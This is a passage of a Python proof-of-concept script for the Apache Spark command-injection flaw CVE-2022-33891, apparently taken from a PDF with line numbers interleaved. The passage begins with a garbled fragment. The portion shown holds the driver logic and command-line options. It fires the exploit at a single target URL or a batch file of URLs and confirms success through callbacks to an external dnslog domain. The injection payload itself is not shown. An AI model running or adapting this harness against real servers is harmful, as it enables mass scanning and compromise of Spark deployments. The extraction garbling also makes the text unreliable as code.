

Page 1 of 2

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COUIIC = v
0/
58
               self.banner()
59
               if target_url and dnslog_url:
                   print('[+] Requesting dnslog-----')
60
                   status_code = self.poc(target_url, dnslog_url, session)
61
                   if status_code == 200:
62
                       print(f'[+] The response value is {status_code}, please check the dnslo
63
               elif target_url:
64
                   session = requests.session()
65
                   domain = self.dnslog_getdomain(session)
66
                   self.poc(target_url, domain, session)
67
                   self.dnslog_getrecords(session, target_url, domain, count)
68
               elif file:
69
70
                   for url in file:
71
                       count += 1
72
                       target_url = url.replace('\n', '')
73
                       session = requests.session()
74
                       domain = self.dnslog_getdomain(session)
75
                       time.sleep(1)
76
                       self.poc(target_url, domain, session)
77
                       self.dnslog_getrecords(session, target_url, domain, count)
78
       if __name__ == '__main__':
79
           parser = argparse.ArgumentParser()
80
           parser.add_argument('-u',
81
                                '--url',
82
                               type=str,
83
                               default=False,
                               help="target url, you need to add http://")
84
85
           parser.add_argument("-d",
                                '--dnslog',
86
87
                               type=str,
88
                               default=False,
89
                               help="dnslog address, without http://")
90
           parser.add_argument("-f",
91
                                '--file',
92
                               type=argparse.FileType('r'),
93
                               default=False,
94
                               help="batch detection, you need to add http://")
95
           args = parser.parse_args()
96
           run = apache_spark_cve_2022_33891_poc()
97
           run.main(args.url, args.dnslog, args.file)
```